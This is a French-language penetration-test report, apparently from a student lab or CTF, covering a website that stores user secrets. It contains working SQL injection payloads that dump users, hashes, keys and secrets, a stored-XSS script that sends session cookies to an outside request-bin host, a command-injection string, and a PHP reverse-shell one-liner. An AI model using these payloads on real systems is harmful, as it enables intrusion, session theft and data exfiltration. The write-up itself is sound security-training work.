Auteur | Année |
---|---|
Kalidou - @aethelwulf - https://kalidou.me |
2024 |
Rapport d'audit pentest
Présenté par : Kalidou DIA
Ce projet de pentest sur le site web box est une expérience enrichissante dans le sens où il nous a permis d'appliquer certaines connaissances et d'en approfondir d'autres, sur un environnement réel. A travers cet audit, nous avons pu identifier plusieurs vulnérabilités et failles de sécurité qui auraient pu être exploitées par des personnes malveillantes. De ce fait, nous recommendons à l'entreprise de prendre des mesures de sécurité appropriées et de patcher le plus rapidement possible le site pour se protéger, mais également protéger les données des utilisateurs du site web.
Cible : https://box-grp.num.pas.le.vrai
Mon adresse ip : 10.0.56.63
Notre première idée était de se promenener sur le site et de comprendre son fonctionnement normal. Il s'avère qu'il s'agit d'un site de gestionnaire de secret où un utilisateur inscrit peut ajouter des mots de passe ou secret qui seront chiffrés et stockés. La page d'accueil se présente suit :
- Une navbar contenant le nom du site (Box), des liens pour accèder aux pages Home, Blog, Vault, une barre de recherche et 2 boutons Search et Login.
- Le contenu principal contenant un text et des liens vers des projets open source.
- Un footer contenant le nom du développeur du site et des icônes de réseaux sociaux.
https://box-grp.num.pas.le.vrai/
Figure 1 : Page d'accueil*
Figure 2 : Technos utilisées
Quand on clique sur le lien Blog, on accède à la page présentée sur l'image ci-dessous.Cette page présente une liste d'articles (posts) qu'on peut cliquer pour les voir plus en détail. https://box-grp.num.pas.le.vrai/blog
Figure 3 : Page blog
La barre de recherche Search attend en entrée une chaîne de caractères. Quand nous mettons la valeur d'une "Sor", nous obtenons une réponse du blog avec le titre "Sorry".
Figure 4 : Barre de recherche
Nous avons tenté de mettre une entrée normalement invalide (') pour voir la réponse du serveur. Et voici ce que le site nous répond :
Figure 5 : Entrée anormale sur la barre de recherche
Il semble y avoir une faille sql injection exploitable ici. Nous y reviendrons plus tard.Cette page montre des infos du post sur lequel on a cliqué. Nous voyons sur l'url, il y a une param request id qui devrait prendre en l'id du post. Sur cet article, le texte étale le fait qu'il y ait un problème en production. Apparemment les mots de passe ne pas hashés comme ils auraient dû l'être. L'auteur demande aux lecteurs de changer leur mot de passe. Cette info pourrait être intéressante pour quelqu'un qui chercherait les mots de passe des utilisateurs. Nous essaierons également de mettre des valeurs erronnées dans le paramètre id pour voir comment le serveur répond. Nous y reviendrons plus tard. https://box-grp.num.pas.le.vrai/post?id=2
Figure 6 : Article Sorry
Cette page login présente un formulaire pour se connecter. Il y a un champ username et un champ password. Quand on essaie de mettre des valeurs arbitraires, le site nous répond "user does not exists" https://box-grp.num.pas.le.vrai/login?next_url=user
Figure 7 : Page de connexion
Figure 8 : Connexion échouée
Cette page présente un formulaire d'inscription pour créer un compte. Essayons de créer un compte vite fait avec les identifiants : username = "test@test2.com" et password = "test". Quand l'inscription réussit et nous sommes redirigés vers la page de login.
Cependant la politique de mot passe semble faible parce que le nôtre ne contient que 4 caractères.
Figure 9 : Inscription
Une fois nous être connecté, on accède à la page que montre l'image ci-dessous. Nous voyons apparaître sur la navbar les boutons User et Logout.
Figure 9 : utilisateur connecté
Cette page présente également un formulaire où l'utilisateur connecté peut uploader une photo pour son avatar et ajouter une bio. Apparement, on peut aussi modifier son mot de passe ici.
Figure 10 : Info user
En ajoutant des infos une bio et une photo :Figure 11 : Ajout de bio
Le serveur renvoie la réponse suivante. La réponse du serveur parrait anormale. On voit dans la réponse le chemin d'accès au fichier image chargé.
Figure 12 : Réponse après ajout bio
Remarque : il n'y a pas de format requis pour l'avatar. on pourrait faire exécuté du code php ici ou envoyer un reverse shell php qui donnerait accès au serveur en ligne de commandes. Nous y reviendrons plus tard.
Figure 13 : Format fichier
Cette page présente une liste des secrets que nous avons enregistré dans le site. On peut ajouter un label et le contenu du secret.
Figure 14 : Page vault
Une fois que c'est créé, le site nous renvoie un text chiffré:
Figure 15 : Ajout de secret
Quand on clique ensuite sur le bouton modifier, il nous redirige vers la description de l'utilisateur avec l'id correspondant au vault. Ce comportement du site parrait bizarre. .
Figure 16 : Redirection vers un utilisateur
Essayons de mettre une balise "script" et afficher une alerte pour voir si cette page est vulnérable au XSS ?
Figure 17 : Test XSS
Quand on appuie sur créer, la boîte de dialogue à laquelle on s'attendait, apparait. Et quand on raffraichit la page, l'alerte réapparait. Il semble qu'il s'agit d'une vulnérabilité de type XSS stored. Nous vérifierons cela plus tard.
Figure 18 : Boite de dialogue alert
En tantant de voir s'il y avait une page admin, on la trouve. Quand on se connecte en tant qu'utilisateur normal, on ne devrait pas avoir accès à cette page si on n'est pas admin. Il devrait y avoir une erreur de code de la part du développeur du site. https://box-grp.num.pas.le.vrai/admin/
Figure 19 : Page admin
Dans la page admin/list_users, on peut voir les users de notre site. https://box-grp.num.pas.le.vrai/admin/list_users
Figure 20 : Liste des users
On peut voir ici les rôles attribués aux users.
Figure 21 : Liste rôles
Sur cette vue, il y a une interaction terminale qui attend en entrée une recherche de process. Nous pouvons voir
Figure 22 : Terminal tools
En cliquant sur info, nous obtenons la page phpinfo. Sur cette page, il y a la configuration de notre site et les variables auxquelles on devrat pas avoir accès normalement.
https://box-grp.num.pas.le.vrai/admin/phpinfo
Figure 23 : Configuration du site
Dans cette partie, nous allons essayer de détecter les vulnerabilités du site, de confirmer ou non les hyothèses émises dans la partie énumération. Pour ce faire, nous allons lister les vulnérabilités détectées en spécifiant la partie du site où nous l'avons trouvez et nous allons les exploiter dans la partie exploitation.
On avait émis l'hypoyhèse selon laquelle l'entrée "search" était vulnérable au SQL injection. La requête semble une recherche de caractères sur plusieurs colonnes donc elle pourrait ressembler à ceci :
SELECT column_1, column_2, ..., column_n
FROM posts
WHERE column_1 LIKE '%$_GET['search']%' or column_2 LIKE '%$_GET['search']%' or ...;
En mettant la valeur %' or 1=1 -- -
dans la barre de recherche, nous obtenons la liste de tous les posts. Nous exploiterons cette vulnérabilité plus tard.
Figure 24 : SQL injection 1
Donc le site est bien vulnérable au SQL injection
Sur l'url de la page d'un post, nous voyons le param id qui attend un entier, pour nous renvoyer l'article avec l'id correspondant. En mettant la chaine de caractères coucou
, le site nous répond : " SELECT * FROM posts WHERE id = coucou ^ in "
https://box-grp.num.pas.le.vrai/post?id=coucou
Figure 25 : Injection coucou
Nous obtenons ainsi la requête qui est faite à la base de données pour afficher les infos que nous pouvons voir. Un traitement et un message aurait dû apparaitre ici normalement.
En faisant plusieurs tests sur la valeur de l'id, nous sommes arrivés à la valeur suivante 0 or 1=1 -- -
. Sachant bien que le post avec l'id 0 n'existe pas, on obtient bien une réponse de la part du serveur. Le post retourné est celui avec l'id 1 qu'on n'a pas demandé. On pourrait déduire qu'on a trouvé une vulnérabilité de type SQL injection Blind. Le serveur a traité notre requête comme vraie. Ne trouvant pas le post avec l'id 0, il nous a envoyé le premier post de la table (celui avec l'id 1). Donc le post 1 est renvoyé lorsque la condition est vraie.
Figure 26 : Blind SQL INJECTION
Dans la page vault, nous avions trouvé une faille de type de xss. Cependant nous remarquons que quand nous rafraichissons la page, la boîte de dialogue réapparait. Il s'agit donc d'une faille de type XSS-stored. On pourrait donc recueillir quelques données stockés. Utilisons le site Pipe dream - request bin pour recevoir des infos en mettant le code suivant :
<script>fetch("https://endetx64qkla.x.pipedream.net/?"+ document.cookie)</script>
Nous recevons le cookie de session vers la page de redirection.
Figure 27 : XSS stored
Au niveau de la page admin/system, nous pouvons injecter des commandes. Quand nous essayons de lister les contenu du dossier avec la commande :
; ls -al
Nous obtenons la réponse sur l'image ci-dessous.
Figure 28 : Injection de commande
Donc la vulnérabilité de type injection de commande est bien présente. Nous pouvons essayer d'obtenir un reverse shell depuis cette page. Nous exploiterons cette faille dans la partie exploitation.
Au niveau de la page info user, nous pouvons charger une photo. Nous avons vu dans la section "format fichier" qu'il n'y avait pas de filtre pour le format du fichier chargé bien qu'il soit demandé sur la page pour uploader une image. Essayons de chargé un fichier php pour voir la réponse du serveur. Voici le contenu de notre fichier coucou.php :
<?php echo "coucou" ?>
Allons vers la route indiquée par la réponse du serveur : https://box-grp.num.pas.le.vrai/assets/uploads/coucou.php. Le code php est bien exécuté et le texte "coucou" s'affiche à l'écran. Donc le site présente bien une vulnérabilité de type file upload. On pourrait tenter d'obtenir un reverse shell avec cette faille du coup. Nous y reviendrons dans la partie exploitation.
Figure 29 : File upload
Nous avions détecté une vulnérabilité de type injection SQL dans la barre de recherche du site. Nous allons exploiter cette vulnérabilité dans les lignes qui suivent.
Quand on met l'entrée suivante ' UNION ALL SELECT -- -
dans la barre de recherche, le serveur nous répond :
Warning: pg_exec(): Query failed:
ERROR: each UNION query must have the same number of columns
in /var/www/html/includes/classes/PostRepo.php on line 47
En faisant plusieurs tentatives de UNION SELECT
, le serveur nous fait savoir qu'il s'attend à 5 colonnes pour faire la correspondance et la dernière colonne doit être une date. C'est pourquoi nous ajoutons la variable CURRENT_TIMESTAMP
à la 5e colonne. Les 4 premières colonnes doivent être des chaines de caractère.
Notre contenu par défaut :
' UNION SELECT '1','2','3','4',CURRENT_TIMESTAMP -- -
Nous remarquons qu'il y a une base de données nommée "public", Nous allons essayer de fouiner dedans. Injection :
' UNION SELECT '1','2',concat(schema_name),'4',CURRENT_TIMESTAMP from information_schema.schemata -- -
Figure 30 : Schémas de la BD
Nous pouvons esasayer d'afficher les table de la BD "public" avec l'injection suivante :
' UNION SELECT '1','2',concat(TABLE_NAME),'4',CURRENT_TIMESTAMP
FROM information_schema.COLUMNS
WHERE table_schema='public' -- -
Nous sommes arrivés à lister 7 tables :
- roles
- users_roles
- roles_permissions
- secret
- permissions
- users
- posts
Nous pourrons ensuite récupérer les différentes infos de ces tables (faire un dump) avec d'autre injections.
Figure 31 : Tables de la BD public
Attardons nous pour l'instant sur la table users
Nous allons lister les colonnes de la table "users" avec l'injection :
UNION SELECT '1','2',concat(column_name),'4',CURRENT_TIMESTAMP
FROM information_schema.COLUMNS WHERE
TABLE_NAME='users' -- -
Nous réussissons à lister les colonnes de la table users qui sont : id, login, avatar, hash, bio, key.
Figure 32 : Colonnes de la table 'users'
Les enregistrements de la table users En continuant ainsi nous pouvont récupérer les enregistrements de la table 'users' ainsi que de toutes les autres tables. Ces informations peuvent nous servir à usurper des comptes utilisateurs et potentiellement récupérer les secrets qu'ils sauvegardent dans le site. Pour ne pas tirer en longueur, nous allons juste affiché les enregistrements de la table users avec l'injection :
' UNION SELECT '1','2',concat(id,avatar,bio,hash,login,key),'4',CURRENT_TIMESTAMP
from users -- -
Nous obtenons les logins et les hash. Nous voyons les mot de passe ont été hashés avec l'argon 2, on pourrait tenter de faire un brute force. Mais continuons notre exploitation, ces infos pourront nous servir plus tard.
Ligne de la table users
id | avatar | bio | hash | login | key |
---|---|---|---|---|---|
1 | "" | I am a box lover | $argon2i$v=19$m=65536,t=4,p=1$amh... | box | 9aeecab6c5c351706b14a304a630f19a |
2 | "" | I Think I Like someone | $2y$10$pcYHlyhZeOohw9wbT3SfPuy... | bob | 8c656ab25ac6620b11d8928ece42092c |
3 | "" | #SYNT{V Ybir Pelcgb}# | $2y$10$qowQipPTRFTjgtnbLkM7K.ep... | alice | 3d6f2fb66411ec33f6f8f2b797b8e0f6 |
4 | "" | I am a box lover | $argon2i$v=19$m=65536,t=4,p=1$VU9vO.. | NULL | ac272b184382659c23ee786f536095e9 |
5 | "" | coucou | $argon2i$v=19$m=65536,t=4,p=1$WlRHV | test | a128d1ff81730709688e8c396b22e91f |
Dans cette partie, nous allons nous connecter dans le serveur en mode shell. Pour cela, nous avions trouvé 2 moyens de le faire dans la partie détection : l'injection de commande et le chargement de fichier. Nous allons utiliser l'injecton de commande au niveau de la page "/admin/system" pour obtenir un shell. Commande :
; php -r '$sock=fsockopen("10.0.48.25",9001);exec("sh <&3 >&3 2>&3");'
Figure 33 : Reverse Shell obtenu
En fouillant dans le répertoire, nous retrouvons le fichier Secret.php qui se situe dans le chemin suivant /var/www/html/includes/classes/Secret.php
. Dans ce fichier, il y a une fonction qui permet de déchiffrer un secret enregistré par un utilisateur. Le code est le suivant :
Figure 34 : Fonction 'Decrypt' Secret.php
En exploitant cette fonction, nous avons réussi à trouver un secret de l'utilisateur box. L'algo de chiffrement utilisé est : aes-256-cbc
et la clé de chiffrement utilisée est celle sauvegardée dans la table 'users' dans la colonne 'key'.
L'injection SQL pour récupérer la clé :
UNION SELECT '1','2',concat(login,key),'4',CURRENT_TIMESTAMP
FROM users where login = 'box'-- -
La clé en question est : 9aeecab6c5c351706b14a304a630f19a
Figure 35 : Clé de 'box'
Commande utilisée pour recueillir les colonnes de la table secret :
UNION SELECT '1','2',concat(COLUMN_NAME),'4',CURRENT_TIMESTAMP
FROM information_schema.COLUMNS
WHERE table_name='secret' -- -
- Les colonnes de la table secret sont :
- id
- name
- user_id
- secret
Figure 36 : Colonnes de la table 'secret'
Injection utilisée :
' UNION SELECT '1','2',concat(id,name,user_id,secret),'4',CURRENT_TIMESTAMP
from secret -- -
Les enregistrements de la table "secret" sont :
id | name | user_id | secret |
---|---|---|---|
1 | boxdb | 1 | zBzBilPkw7EC2jlv2T4uY3y6iXTB8M... |
2 | mypassword | 1 | daeDAzoiRj402OY4dMlS9qk6ilW1uw... |
Nous allons maintenant déchiffrer les secrets de l'utilisateur avec l'id 1.
L'injection pour récupérer les clés est :
UNION SELECT '1','2',concat(user_id,secret),'4',CURRENT_TIMESTAMP
FROM secret
WHERE user_id=1 -- -
Les secrets trouvés sont visibles sur l'image ci-dessous.
Figure 37 : Secrets de 'box'
NB : Connaissant la fonction permettant de déchiffrer un secret et ayant la capacité de récupérer les clés et les secrets grâce à l'injection SQL, nous pouvons voir en clair tous les secrets des utilisateurs inscrits dans le site.
Essayons maintenant de voir le texte en clair de ces secrets. Utilisons un outil de PHP sandbox. Le texte en clair est le flag 3 : #FLAG{ZKiHgfjGmPICaVre}#. Il s'agit en fait du mot de passe de l'utilisateur 'box'.
Figure 38 : Premier secret de 'box'
Le deuxième secret est : postgres://postgres:#FLAG{7RwVgCf49Vzhlacn}#@db-box:5432/box
. On voit qu'il s'agit d'un moyen de se connecter à une base de données postgresql.
Et on a du coup le flag 4 : #FLAG{7RwVgCf49Vzhlacn}#
Figure 39 : Deuxième secret de 'box'
Avec le reversee shell, on accède au code source du site. Ce qui n'est pas normal. Comment le site a été construit, les infos de la base de données et les requêtes qui sont faites, tout est consultable depuis là. On pourrait tenter de faire une escalade de privilèges pour avoir plus de droits et récupérer encore plus d'information.
Figure 40 : Code source du site
2. Version linux - CVE-2022-34918
Grâce au shell que nous avons obtenu, nous avons vu que la version de linux était : 5.15.0-39-generic
. Quand nous cherchons un CVE dans le net, nous voyons un poc qui nous permet de devenir root du serveur. Nous avons essayé d'exploiter cette vulnérabilité pour devenir root, mais le serveur ne nous permet pas de télécharger le projet à cause du manque d'espace.
Lien du projet : https://github.com/randorisec/CVE-2022-34918-LPE-PoC?tab=readme-ov-file
Figure 41 : CVE-2022-34918
3. Version Apache - CVE-2023-31122
En cherchant également un CVE pour la version de apache, on en trouve. La sévérité de cette vuln est HIGH. Un utilisateur mal intentionné pourrait exploiter cette vulnérabilité et rendre indisponible le serveur. Une mise à jour de la version de apache s'impose du coup dans le but de réduire les angles d'attaques.
Figure 41 : CVE-2023-31122
LISTE DES FLAGS TROUVES Dans phpinfo
- Flag 1 : #FLAG{wfAOD8fhGZgK6x5J}#
Dans la bio de Alice (chiffré avec rot13)
Le mot de passe du user box
- Flag 3 : #FLAG{ZKiHgfjGmPICaVre}#
Le mot de passe postgres
- Flag 4 : #FLAG{7RwVgCf49Vzhlacn}#